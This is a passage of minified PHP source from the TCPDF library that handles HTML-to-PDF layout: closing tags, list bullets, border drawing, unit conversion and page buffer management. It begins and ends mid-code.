($plendiff<60)){$pagediff=substr($this->getPageBuffer($this->numpages),$this->emptypagemrk[$this->numpages],$plendiff);if(substr($pagediff,0,5)==\'BT /F\'){$plendiff=0;}}if($plendiff==0){$this->deletePage($this->numpages);}}if(isset($this->theadMargins[\'top\'])){$this->tMargin=$this->theadMargins[\'top\'];}if(!isset($table_el[\'attribute\'][\'nested\']) OR ($table_el[\'attribute\'][\'nested\']!=\'true\')){$this->thead=\'\';$this->theadMargins=array();$this->pagedim[$this->page][\'tm\']=$this->tMargin;}}$parent=$table_el;break;}case \'a\':{$this->HREF=\'\';break;}case \'sup\':{$this->SetXY($this->GetX(),$this->GetY()+((0.7*$parent[\'fontsize\'])/$this->k));break;}case \'sub\':{$this->SetXY($this->GetX(),$this->GetY()-((0.3*$parent[\'fontsize\'])/$this->k));break;}case \'div\':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case \'blockquote\':{if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case \'p\':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case \'pre\':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);$this->premode=false;break;}case \'dl\':{--$this->listnum;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case \'dt\':{$this->lispacer=\'\';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case \'dd\':{$this->lispacer=\'\';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case \'ul\':case \'ol\':{--$this->listnum;$this->lispacer=\'\';if($this->rtl){$this->rMargin-=$this->listindent;}else {$this->lMargin-=$this->listindent;}--$this->listindentlevel;if($this->listnum<=0){$this->listnum=0;$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);}else {$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);}$this->resetLastH();break;}case \'li\':{$this->lispacer=\'\';$this->addHTMLVertSpace(0,0,$cell,false,$lasttag);break;}case \'h1\':case \'h2\':case \'h3\':case \'h4\':case \'h5\':case \'h6\':{$this->addHTMLVertSpace($hbz,$hb,$cell,false,$lasttag);break;}case \'form\':{$this->form_action=\'\';$this->form_enctype=\'application/x-www-form-urlencoded\';break;}default:{break;}}$this->drawHTMLTagBorder($parent,$xmax);if(isset($dom[($dom[$key][\'parent\'])][\'attribute\'][\'pagebreakafter\'])){$pba=$dom[($dom[$key][\'parent\'])][\'attribute\'][\'pagebreakafter\'];if(($pba==\'true\') OR ($pba==\'left\') OR ($pba==\'right\')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba==\'left\') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba==\'right\') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}$this->tmprtl=false;return $dom;} function addHTMLVertSpace($hbz=0,$hb=0,$cell=false,$firsttag=false,$lasttag=false){if($firsttag){$this->Ln(0,$cell);$this->htmlvspace=0;return;}if($lasttag){$this->Ln($hbz,$cell);$this->htmlvspace=0;return;}if($hb<$this->htmlvspace){$hd=0;}else {$hd=$hb-$this->htmlvspace;$this->htmlvspace=$hb;}$this->Ln(($hbz+$hd),$cell);} function getBorderStartPosition(){if($this->rtl){$xmax=$this->lMargin;}else {$xmax=$this->w-$this->rMargin;}return array(\'page\'=>$this->page,\'column\'=>$this->current_column,\'x\'=>$this->x,\'y\'=>$this->y,\'xmax\'=>$xmax);} function drawHTMLTagBorder($tag,$xmax){if(!isset($tag[\'borderposition\'])){return;}$prev_x=$this->x;$prev_y=$this->y;$prev_lasth=$this->lasth;$border=0;$fill=false;$this->lasth=0;if(isset($tag[\'border\']) AND !empty($tag[\'border\'])){$border=$tag[\'border\'];if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$border=TCPDF_STATIC::getBorderMode($border,$position=\'middle\',$this->opencell);}}if(isset($tag[\'bgcolor\']) AND ($tag[\'bgcolor\']!==false)){$old_bgcolor=$this->bgcolor;$this->SetFillColorArray($tag[\'bgcolor\']);$fill=true;}if(!$border AND !$fill){return;}if(isset($tag[\'attribute\'][\'cellspacing\'])){$clsp=$this->getHTMLUnitToUnits($tag[\'attribute\'][\'cellspacing\'],1,\'px\');$cellspacing=array(\'H\'=>$clsp,\'V\'=>$clsp);}elseif(isset($tag[\'border-spacing\'])){$cellspacing=$tag[\'border-spacing\'];}else {$cellspacing=array(\'H\'=>0,\'V\'=>0);}if(($tag[\'value\']!=\'table\') AND (is_array($border)) AND (!empty($border))){$border[\'mode\']=\'ext\';}if($this->rtl){if($xmax>=$tag[\'borderposition\'][\'x\']){$xmax=$tag[\'borderposition\'][\'xmax\'];}$w=($tag[\'borderposition\'][\'x\']-$xmax);}else {if($xmax<=$tag[\'borderposition\'][\'x\']){$xmax=$tag[\'borderposition\'][\'xmax\'];}$w=($xmax-$tag[\'borderposition\'][\'x\']);}if($w<=0){return;}$w+=$cellspacing[\'H\'];$startpage=$tag[\'borderposition\'][\'page\'];$startcolumn=$tag[\'borderposition\'][\'column\'];$x=$tag[\'borderposition\'][\'x\'];$y=$tag[\'borderposition\'][\'y\'];$endpage=$this->page;$starty=$tag[\'borderposition\'][\'y\']-$cellspacing[\'V\'];$currentY=$this->y;$this->x=$x;$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$border_start=TCPDF_STATIC::getBorderMode($border,$position=\'start\',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position=\'end\',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position=\'middle\',$this->opencell);$temp_page_regions=$this->page_regions;$this->page_regions=array();for($page=$startpage;$page<=$endpage;++$page){$ccode=\'\';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page][\'orm\']!=$this->pagedim[$startpage][\'orm\'])){$this->x-=($this->pagedim[$page][\'orm\']-$this->pagedim[$startpage][\'orm\']);}elseif((!$this->rtl) AND ($this->pagedim[$page][\'olm\']!=$this->pagedim[$startpage][\'olm\'])){$this->x+=($this->pagedim[$page][\'olm\']-$this->pagedim[$startpage][\'olm\']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=($currentY-$y)+$cellspacing[\'V\'];$this->y=$starty;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid][\'transfmrk\'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid][\'transfmrk\']);$pagemark=$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey];$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid][\'intmrk\'];$this->xobjects[$this->xobjid][\'intmrk\']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid][\'outdata\'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid][\'outdata\']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);$this->bordermrk[$this->page]+=$offsetlen;$this->cntmrk[$this->page]+=$offsetlen;}}}$this->page_regions=$temp_page_regions;if(isset($old_bgcolor)){$this->SetFillColorArray($old_bgcolor);}$this->x=$prev_x;$this->y=$prev_y;$this->lasth=$prev_lasth;} function setLIsymbol($symbol=\'!\'){if(substr($symbol,0,4)==\'img|\'){$this->lisymbol=$symbol;return;}$symbol=strtolower($symbol);$valid_symbols=array(\'!\',\'#\',\'disc\',\'circle\',\'square\',\'1\',\'decimal\',\'decimal-leading-zero\',\'i\',\'lower-roman\',\'I\',\'upper-roman\',\'a\',\'lower-alpha\',\'lower-latin\',\'A\',\'upper-alpha\',\'upper-latin\',\'lower-greek\');if(in_array($symbol,$valid_symbols)){$this->lisymbol=$symbol;}else {$this->lisymbol=\'\';}} function SetBooklet($booklet=true,$inner=-1,$outer=-1){$this->booklet=$booklet;if($inner>=0){$this->lMargin=$inner;}if($outer>=0){$this->rMargin=$outer;}} function swapMargins($reverse=true){if($reverse){$mtemp=$this->original_lMargin;$this->original_lMargin=$this->original_rMargin;$this->original_rMargin=$mtemp;$deltam=$this->original_lMargin-$this->original_rMargin;$this->lMargin+=$deltam;$this->rMargin-=$deltam;}} function setHtmlVSpace($tagvs){$this->tagvspaces=$tagvs;} function setListIndentWidth($width){return $this->customlistindent=floatval($width);} function setOpenCell($isopen){$this->opencell=$isopen;} function setHtmlLinksStyle($color=array(0,0,255),$fontstyle=\'U\'){$this->htmlLinkColorArray=$color;$this->htmlLinkFontStyle=$fontstyle;} function getHTMLUnitToUnits($htmlval,$refsize=1,$defaultunit=\'px\',$points=false){$supportedunits=array(\'%\',\'em\',\'ex\',\'px\',\'in\',\'cm\',\'mm\',\'pc\',\'pt\');$retval=0;$value=0;$unit=\'px\';if($points){$k=1;}else {$k=$this->k;}if(in_array($defaultunit,$supportedunits)){$unit=$defaultunit;}if(is_numeric($htmlval)){$value=floatval($htmlval);}elseif(preg_match(\'/([0-9\.\-\+]+)/\',$htmlval,$mnum)){$value=floatval($mnum[1]);if(preg_match(\'/([a-z%]+)/\',$htmlval,$munit)){if(in_array($munit[1],$supportedunits)){$unit=$munit[1];}}}switch($unit){case \'%\':{$retval=(($value*$refsize)/100);break;}case \'em\':{$retval=($value*$refsize);break;}case \'ex\':{$retval=($value*($refsize/2));break;}case \'in\':{$retval=(($value*$this->dpi)/$k);break;}case \'cm\':{$retval=(($value/2.54*$this->dpi)/$k);break;}case \'mm\':{$retval=(($value/25.4*$this->dpi)/$k);break;}case \'pc\':{$retval=(($value*12)/$k);break;}case \'pt\':{$retval=($value/$k);break;}case \'px\':{$retval=$this->pixelsToUnits($value);if($points){$retval*=$this->k;}break;}}return $retval;} function putHtmlListBullet($listdepth,$listtype=\'\',$size=10){if($this->state!=2){return;}$size/=$this->k;$fill=\'\';$bgcolor=$this->bgcolor;$color=$this->fgcolor;$strokecolor=$this->strokecolor;$width=0;$textitem=\'\';$tmpx=$this->x;$lspace=$this->GetStringWidth(\' \');if($listtype==\'^\'){$this->lispacer=\'\';return;}elseif($listtype==\'!\'){$deftypes=array(\'disc\',\'circle\',\'square\');$listtype=$deftypes[($listdepth-1)%3];}elseif($listtype==\'#\'){$listtype=\'decimal\';}elseif(substr($listtype,0,4)==\'img|\'){$img=explode(\'|\',$listtype);$listtype=\'img\';}switch($listtype){case \'none\':{break;}case \'disc\':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),$r,0,360,\'F\',array(),$color,8);break;}case \'circle\':{$r=$size/6;$lspace+=(2*$r);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$prev_line_style=$this->linestyleWidth.\' \'.$this->linestyleCap.\' \'.$this->linestyleJoin.\' \'.$this->linestyleDash.\' \'.$this->DrawColor;$new_line_style=array(\'width\'=>($r/3),\'cap\'=>\'butt\',\'join\'=>\'miter\',\'dash\'=>0,\'phase\'=>0,\'color\'=>$color);$this->Circle(($this->x+$r),($this->y+($this->lasth/2)),($r*(1-(1/6))),0,360,\'D\',$new_line_style,array(),8);$this->_out($prev_line_style);break;}case \'square\':{$l=$size/3;$lspace+=$l;if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Rect($this->x,($this->y+(($this->lasth-$l)/2)),$l,$l,\'F\',array(),$color);break;}case \'img\':{$lspace+=$img[2];if($this->rtl){;$this->x+=$lspace;}else {$this->x-=$lspace;}$imgtype=strtolower($img[1]);$prev_y=$this->y;switch($imgtype){case \'svg\':{$this->ImageSVG($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],\'\',\'T\',\'\',0,false);break;}case \'ai\':case \'eps\':{$this->ImageEps($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],\'\',true,\'T\',\'\',0,false);break;}default:{$this->Image($img[4],$this->x,($this->y+(($this->lasth-$img[3])/2)),$img[2],$img[3],$img[1],\'\',\'T\',false,300,\'\',false,false,0,false,false,false);break;}}$this->y=$prev_y;break;}case \'1\':case \'decimal\':{$textitem=$this->listcount[$this->listnum];break;}case \'decimal-leading-zero\':{$textitem=sprintf(\'%02d\',$this->listcount[$this->listnum]);break;}case \'i\':case \'lower-roman\':{$textitem=strtolower(TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]));break;}case \'I\':case \'upper-roman\':{$textitem=TCPDF_STATIC::intToRoman($this->listcount[$this->listnum]);break;}case \'a\':case \'lower-alpha\':case \'lower-latin\':{$textitem=chr(97+$this->listcount[$this->listnum]-1);break;}case \'A\':case \'upper-alpha\':case \'upper-latin\':{$textitem=chr(65+$this->listcount[$this->listnum]-1);break;}case \'lower-greek\':{$textitem=TCPDF_FONTS::unichr((945+$this->listcount[$this->listnum]-1),$this->isunicode);break;}default:{$textitem=$this->listcount[$this->listnum];}}if(!TCPDF_STATIC::empty_string($textitem)){$prev_y=$this->y;$h=$this->getCellHeight($this->FontSize);if($this->checkPageBreak($h) OR ($this->y<$prev_y)){$tmpx=$this->x;}if($this->rtl){$textitem=\'.\'.$textitem;}else {$textitem=$textitem.\'.\';}$lspace+=$this->GetStringWidth($textitem);if($this->rtl){$this->x+=$lspace;}else {$this->x-=$lspace;}$this->Write($this->lasth,$textitem,\'\',false,\'\',false,0,false);}$this->x=$tmpx;$this->lispacer=\'^\';$this->SetFillColorArray($bgcolor);$this->SetDrawColorArray($strokecolor);$this->SettextColorArray($color);} function getGraphicVars(){$grapvars=array(\'FontFamily\'=>$this->FontFamily,\'FontStyle\'=>$this->FontStyle,\'FontSizePt\'=>$this->FontSizePt,\'rMargin\'=>$this->rMargin,\'lMargin\'=>$this->lMargin,\'cell_padding\'=>$this->cell_padding,\'cell_margin\'=>$this->cell_margin,\'LineWidth\'=>$this->LineWidth,\'linestyleWidth\'=>$this->linestyleWidth,\'linestyleCap\'=>$this->linestyleCap,\'linestyleJoin\'=>$this->linestyleJoin,\'linestyleDash\'=>$this->linestyleDash,\'textrendermode\'=>$this->textrendermode,\'textstrokewidth\'=>$this->textstrokewidth,\'DrawColor\'=>$this->DrawColor,\'FillColor\'=>$this->FillColor,\'TextColor\'=>$this->TextColor,\'ColorFlag\'=>$this->ColorFlag,\'bgcolor\'=>$this->bgcolor,\'fgcolor\'=>$this->fgcolor,\'htmlvspace\'=>$this->htmlvspace,\'listindent\'=>$this->listindent,\'listindentlevel\'=>$this->listindentlevel,\'listnum\'=>$this->listnum,\'listordered\'=>$this->listordered,\'listcount\'=>$this->listcount,\'lispacer\'=>$this->lispacer,\'cell_height_ratio\'=>$this->cell_height_ratio,\'font_stretching\'=>$this->font_stretching,\'font_spacing\'=>$this->font_spacing,\'alpha\'=>$this->alpha,\'lasth\'=>$this->lasth,\'tMargin\'=>$this->tMargin,\'bMargin\'=>$this->bMargin,\'AutoPageBreak\'=>$this->AutoPageBreak,\'PageBreakTrigger\'=>$this->PageBreakTrigger,\'x\'=>$this->x,\'y\'=>$this->y,\'w\'=>$this->w,\'h\'=>$this->h,\'wPt\'=>$this->wPt,\'hPt\'=>$this->hPt,\'fwPt\'=>$this->fwPt,\'fhPt\'=>$this->fhPt,\'page\'=>$this->page,\'current_column\'=>$this->current_column,\'num_columns\'=>$this->num_columns);return $grapvars;} function setGraphicVars($gvars,$extended=false){if($this->state!=2){return;}$this->FontFamily=$gvars[\'FontFamily\'];$this->FontStyle=$gvars[\'FontStyle\'];$this->FontSizePt=$gvars[\'FontSizePt\'];$this->rMargin=$gvars[\'rMargin\'];$this->lMargin=$gvars[\'lMargin\'];$this->cell_padding=$gvars[\'cell_padding\'];$this->cell_margin=$gvars[\'cell_margin\'];$this->LineWidth=$gvars[\'LineWidth\'];$this->linestyleWidth=$gvars[\'linestyleWidth\'];$this->linestyleCap=$gvars[\'linestyleCap\'];$this->linestyleJoin=$gvars[\'linestyleJoin\'];$this->linestyleDash=$gvars[\'linestyleDash\'];$this->textrendermode=$gvars[\'textrendermode\'];$this->textstrokewidth=$gvars[\'textstrokewidth\'];$this->DrawColor=$gvars[\'DrawColor\'];$this->FillColor=$gvars[\'FillColor\'];$this->TextColor=$gvars[\'TextColor\'];$this->ColorFlag=$gvars[\'ColorFlag\'];$this->bgcolor=$gvars[\'bgcolor\'];$this->fgcolor=$gvars[\'fgcolor\'];$this->htmlvspace=$gvars[\'htmlvspace\'];$this->listindent=$gvars[\'listindent\'];$this->listindentlevel=$gvars[\'listindentlevel\'];$this->listnum=$gvars[\'listnum\'];$this->listordered=$gvars[\'listordered\'];$this->listcount=$gvars[\'listcount\'];$this->lispacer=$gvars[\'lispacer\'];$this->cell_height_ratio=$gvars[\'cell_height_ratio\'];$this->font_stretching=$gvars[\'font_stretching\'];$this->font_spacing=$gvars[\'font_spacing\'];$this->alpha=$gvars[\'alpha\'];if($extended){$this->lasth=$gvars[\'lasth\'];$this->tMargin=$gvars[\'tMargin\'];$this->bMargin=$gvars[\'bMargin\'];$this->AutoPageBreak=$gvars[\'AutoPageBreak\'];$this->PageBreakTrigger=$gvars[\'PageBreakTrigger\'];$this->x=$gvars[\'x\'];$this->y=$gvars[\'y\'];$this->w=$gvars[\'w\'];$this->h=$gvars[\'h\'];$this->wPt=$gvars[\'wPt\'];$this->hPt=$gvars[\'hPt\'];$this->fwPt=$gvars[\'fwPt\'];$this->fhPt=$gvars[\'fhPt\'];$this->page=$gvars[\'page\'];$this->current_column=$gvars[\'current_column\'];$this->num_columns=$gvars[\'num_columns\'];}$this->_out(\'\'.$this->linestyleWidth.\' \'.$this->linestyleCap.\' \'.$this->linestyleJoin.\' \'.$this->linestyleDash.\' \'.$this->DrawColor.\' \'.$this->FillColor.\'\');if(!TCPDF_STATIC::empty_string($this->FontFamily)){$this->SetFont($this->FontFamily,$this->FontStyle,$this->FontSizePt);}} function _outSaveGraphicsState(){$this->_out(\'q\');} function _outRestoreGraphicsState(){$this->_out(\'Q\');} function setBuffer($data){$this->bufferlen+=strlen($data);$this->buffer.=$data;} function replaceBuffer($data){$this->bufferlen=strlen($data);$this->buffer=$data;} function getBuffer(){return $this->buffer;} function setPageBuffer($page,$data,$append=false){if($append){$this->pages[$page].=$data;}else {$this->pages[$page]=$data;}if($append AND isset($this->pagelen[$page])){$this->pagelen[$page]+=strlen($data);}else {$this->pagelen[$page]=strlen($data);}} function getPageBuffer($page){if(isset($this->pages[$page])){return $this->pages[$page];}return false;} function setImageBuffer($image,$data){if(($data[\'i\']=array_search($image,$this->imagekeys))===FALSE){$this->imagekeys[$this->numimages]=$image;$data[\'i\']=$this->numimages;++$this->numimages;}$this->images[$image]=$data;return $data[\'i\'];} function setImageSubBuffer($image,$key,$data){if(!isset($this->images[$image])){$this->setImageBuffer($image,array());}$this->images[$image][$key]=$data;} function getImageBuffer($image){if(isset($this->images[$image])){return $this->images[$image];}return false;} function setFontBuffer($font,$data){$this->fonts[$font]=$data;if(!in_array($font,$this->fontkeys)){$this->fontkeys[]=$font;++$this->n;$this->font_obj_ids[$font]=$this->n;$this->setFontSubBuffer($font,\'n\',$this->n);}} function setFontSubBuffer($font,$key,$data){if(!isset($this->fonts[$font])){$this->setFontBuffer($font,array());}$this->fonts[$font][$key]=$data;} function getFontBuffer($font){if(isset($this->fonts[$font])){return $this->fonts[$font];}return false;} function movePage($frompage,$topage){if(($frompage>$this->numpages) OR ($frompage<=$topage)){return false;}if($frompage==$this->page){$this->endPage();}$tmppage=$this->getPageBuffer($frompage);$tmppagedim=$this->pagedim[$frompage];$tmppagelen=$this->pagelen[$frompage];$tmpintmrk=$this->intmrk[$frompage];$tmpbordermrk=$this->bordermrk[$frompage];$tmpcntmrk=$this->cntmrk[$frompage];$tmppageobjects=$this->pageobjects[$frompage];if(isset($this->footerpos[$frompage])){$tmpfooterpos=$this->footerpos[$frompage];}if(isset($this->footerlen[$frompage])){$tmpfooterlen=$this->footerlen[$frompage];}if(isset($this->transfmrk[$frompage])){$tmptransfmrk=$this->transfmrk[$frompage];}if(isset($this->PageAnnots[$frompage])){$tmpannots=$this->PageAnnots[$frompage];}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$frompage;$i>$topage;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$frompage)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}for($i=$topage;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$topage)){++$this->pagegroups[$this->newpagegroup[$i]];break;}}}for($i=$frompage;$i>$topage;--$i){$j=$i-1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}}$this->setPageBuffer($topage,$tmppage);$this->pagedim[$topage]=$tmppagedim;$this->pagelen[$topage]=$tmppagelen;$this->intmrk[$topage]=$tmpintmrk;$this->bordermrk[$topage]=$tmpbordermrk;$this->cntmrk[$topage]=$tmpcntmrk;$this->pageobjects[$topage]=$tmppageobjects;if(isset($tmpfooterpos)){$this->footerpos[$topage]=$tmpfooterpos;}elseif(isset($this->footerpos[$topage])){unset($this->footerpos[$topage]);}if(isset($tmpfooterlen)){$this->footerlen[$topage]=$tmpfooterlen;}elseif(isset($this->footerlen[$topage])){unset($this->footerlen[$topage]);}if(isset($tmptransfmrk)){$this->transfmrk[$topage]=$tmptransfmrk;}elseif(isset($this->transfmrk[$topage])){unset($this->transfmrk[$topage]);}if(isset($tmpannots)){$this->PageAnnots[$topage]=$tmpannots;}elseif(isset($this->PageAnnots[$topage])){unset($this->PageAnnots[$topage]);}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline[\'f\']){if(($outline[\'p\']>=$topage) AND ($outline[\'p\']<$frompage)){$this->outlines[$key][\'p\']=($outline[\'p\']+1);}elseif($outline[\'p\']==$frompage){$this->outlines[$key][\'p\']=$topage;}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest[\'f\']){if(($dest[\'p\']>=$topage) AND ($dest[\'p\']<$frompage)){$this->dests[$key][\'p\']=($dest[\'p\']+1);}elseif($dest[\'p\']==$frompage){$this->dests[$key][\'p\']=$topage;}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link[\'f\']){if(($link[\'p\']>=$topage) AND ($link[\'p\']<$frompage)){$this->links[$key][\'p\']=($link[\'p\']+1);}elseif($link[\'p\']==$frompage){$this->links[$key][\'p\']=$topage;}}}$jfrompage=$frompage;$jtopage=$topage;if(preg_match_all(\'/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/\',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if(($pagenum>=$jtopage) AND ($pagenum<$jfrompage)){$newpage=($pagenum+1);}elseif($pagenum==$jfrompage){$newpage=$jtopage;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}$this->lastPage(true);return true;} function deletePage($page){if(($page<1) OR ($page>$this->numpages)){return false;}unset($this->pages[$page]);unset($this->pagedim[$page]);unset($this->pagelen[$page]);unset($this->intmrk[$page]);unset($this->bordermrk[$page]);unset($this->cntmrk[$page]);foreach($this->pageobjects[$page] as $oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$page]);if(isset($this->footerpos[$page])){unset($this->footerpos[$page]);}if(isset($this->footerlen[$page])){unset($this->footerlen[$page]);}if(isset($this->transfmrk[$page])){unset($this->transfmrk[$page]);}if(isset($this->PageAnnots[$page])){unset($this->PageAnnots[$page]);}if(isset($this->newpagegroup) AND !empty($this->newpagegroup)){for($i=$page;$i>0;--$i){if(isset($this->newpagegroup[$i]) AND (($i+$this->pagegroups[$this->newpagegroup[$i]])>$page)){--$this->pagegroups[$this->newpagegroup[$i]];break;}}}if(isset($this->pageopen[$page])){unset($this->pageopen[$page]);}if($page<$this->numpages){for($i=$page;$i<$this->numpages;++$i){$j=$i+1;$this->setPageBuffer($i,$this->getPageBuffer($j));$this->pagedim[$i]=$this->pagedim[$j];$this->pagelen[$i]=$this->pagelen[$j];$this->intmrk[$i]=$this->intmrk[$j];$this->bordermrk[$i]=$this->bordermrk[$j];$this->cntmrk[$i]=$this->cntmrk[$j];$this->pageobjects[$i]=$this->pageobjects[$j];if(isset($this->footerpos[$j])){$this->footerpos[$i]=$this->footerpos[$j];}elseif(isset($this->footerpos[$i])){unset($this->footerpos[$i]);}if(isset($this->footerlen[$j])){$this->footerlen[$i]=$this->footerlen[$j];}elseif(isset($this->footerlen[$i])){unset($this->footerlen[$i]);}if(isset($this->transfmrk[$j])){$this->transfmrk[$i]=$this->transfmrk[$j];}elseif(isset($this->transfmrk[$i])){unset($this->transfmrk[$i]);}if(isset($this->PageAnnots[$j])){$this->PageAnnots[$i]=$this->PageAnnots[$j];}elseif(isset($this->PageAnnots[$i])){unset($this->PageAnnots[$i]);}if(isset($this->newpagegroup[$j])){$this->newpagegroup[$i]=$this->newpagegroup[$j];unset($this->newpagegroup[$j]);}if($this->currpagegroup==$j){$this->currpagegroup=$i;}if(isset($this->pageopen[$j])){$this->pageopen[$i]=$this->pageopen[$j];}elseif(isset($this->pageopen[$i])){unset($this->pageopen[$i]);}}unset($this->pages[$this->numpages]);unset($this->pagedim[$this->numpages]);unset($this->pagelen[$this->numpages]);unset($this->intmrk[$this->numpages]);unset($this->bordermrk[$this->numpages]);unset($this->cntmrk[$this->numpages]);foreach($this->pageobjects[$this->numpages] as 